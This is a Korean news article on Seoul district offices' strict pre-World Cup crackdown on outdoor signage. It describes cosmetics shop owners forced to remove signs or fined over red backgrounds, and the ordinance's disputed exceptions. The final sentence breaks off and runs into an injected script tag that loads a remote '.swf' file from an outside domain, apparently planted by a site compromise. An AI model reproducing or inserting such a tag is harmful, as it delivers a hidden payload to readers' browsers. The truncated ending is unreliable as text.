구청 직원은 월드컵과 아시아게임을 맞아 도시 미관을 해치는 광고물을 단속하고 있다며 전광판 운영을 중지하고 와일드칼라 광고판을 제거할 것을 명령했다. 신 사장은 법률에 의거한 구청의 시정요구이기 때문에 어쩔 수 없어 그동안 가꿔왔던 인테리어를 하루 아침에 포기하고 말았다. 현재 미미화장품은 얼마전까지의 깔끔하고 화려한 입구 인테리어를 찾아볼 수가 없다.
영등포구 영등포동에서 빅마트를 운영하는 김종훈 사장이 당한 일은 더하다. 김 사장은 그동안 대형매장의 특색을 살려 간판에 붉은색 배경을 사용하고 현수막도 종종 이용했다. 하지만 구청 직원이 월드컵으로 인해 외국인이 많이 오기 때문에 도시 경관을 해치는 광고물을 제거해야 한다며 현수막을 제거해 버렸다. 매장 간판도 붉은색이 절반 이상 사용되었다며 시정을 요구했다. 김 사장은 구청 직원의 주장이 타당성이 떨어져 입구 간판을 그대로 사용하다가 최근 벌금 고지서를 받았다.
올 6월부터 시작되는 월드컵 때문에 사회 전반에 애국심 고취와 각종 행사가 줄을 잇고 경제는 각종 특수가 발생할 것으로 기대하고 있다. 하지만 화장품 전문점에는 월드컵이 일단은 부정적인 영향을 끼치고 있는 것으로 나타났다. 월드컵 경기로 인해 옥외광고물에 대한 단속이 대폭적으로 강화되면서 점주들의 마음을 어둡게 하고 있는 것이다.
이를 반영하듯 최근 서울에는 옥외광고물 때문에 구청 직원과 점주와의 다툼이 빈번하고 발생하고 있다. 특히 영등포구나 서초구 등은 상식에 벗어날 정도로 단속이 심해 구청의 제재에 그대로 당하며 속앓이를 하고 실정이다.
이는 지난해 2월 서울시가 옥외광고물특별정비대책을 마련한 뒤 불거지기 시작해 지난해 11월 22일 개정 옥외광고물 관리법이 시행되면서 극에 달했다. 특히 구청의 단속이 갈수록 심해지고 있어 앞으로 더욱 심각해질 것으로 예상된다.
하지만 서울시가 단속 근거로 삼고 있는 옥외광고물 등 관리법‘과 ’서울특별시 옥외광고물 등 관리조례는 임의적으로 해석할 수 있는 부분이 많아 논란의 대상이 되고 있다.
구청 단속반과 전문점주와의 사이에서 가장 큰 마찰이 생기는 경우는 색상문제. 서울시 조례 제8조(광고물 등의 추가적인 표시방법)에는 "광고물의 바탕색에 적색 또는 흑색인 원색은 2분의 1 이내로 한다"고 명시돼 있다. 따라서 과거 화장품업종의 특성을 살려 붉은 색을 사용해 간판을 화려하게 한 매장은 모두 이 조항에 위배될 수 밖에 없는 것이다. 하지만 대기업이나 다국적기업 등 고유 브랜드의 특성 때문에 어쩔 수 없는 매장인 경우 이를 허용하고 있어 형평성의 문제가 불거지고 있다. 그 이유는 제8조 조례에 "다만, 조명을 하지 아니하는 표시면적 5제곱미터 이하인 광고물과 위원회의 심의를 거치는 광고물은 그러하지 아니하다"라고 예외 규정을 언급해 놓았기 때문이다. 여기서 위원회는 광고물 관련 업무를 담당하는 공무원이나 전문가, 시의원으로 한정해 놓아 논란의 여지가 더욱 크다.
결국 화장품 전문점처럼 적극적인 대응이 어려운 단일 매장의 경우 구청의 단속에 적극적으로 이의를 제기할 수 없는 반면 LG그룹이나 코카콜라 등 다국적기업의 경우 위원회를 통해 탈출의 빌미를 열어놓은 것이다.
이런 지적에 대해 서울시는 전혀 다른 시각을 보이고 있다. 서울시 광고물 대책반의 김정수 담당은 "붉은색이 무조건 나쁘다는 것은 아니다"며 "장미꽃을 그릴 때 붉은색을 사용하는 것은 당연하지만 호박꽃을 그릴 때 붉은색을 사용하는 것은 이상하다"는 예를 들어 시청의 입장을 표명했다. 김 담당에 따르면 옥외광고물 관리법의 본 취지는 도시 경관을 정비하는 것인 만큼 해당 상권의 특성에 맞게 단속을 하고 있다는 것이다. 상권이 발달해 있는 역세권에는 화려한 간판을 설치하더라도 괜찮지만 주택가의 경우 주위 미관을 해쳐 시정조치를 내릴 수밖에 없다는 설명이다.
서울시는 이런 원칙에 의거해 지난해 말까지 옥외 광고물을 단속해 총 24여만건을 정비하거나 수거하고 이 중 1천 4백여명의 광고주를 옥외광고물 관리법 위반혐의로 고발했다. 또 1만 5천여건에 대해서는 총 13억 6천여만원의 과징금을 부과한 바 있다. 그 결과 종로 2가 일대와 송파구 삼전동 일대, 영등포구청 일대의 거리 조경이 깨끗해진 것으로 서울시는 자평하고 있다.
하지만 서울시의 이런 단속은 개별 점포의 여건과 주변 환경을 무시한 채 이뤄지고 있어 불만에 가득 찬 민원이 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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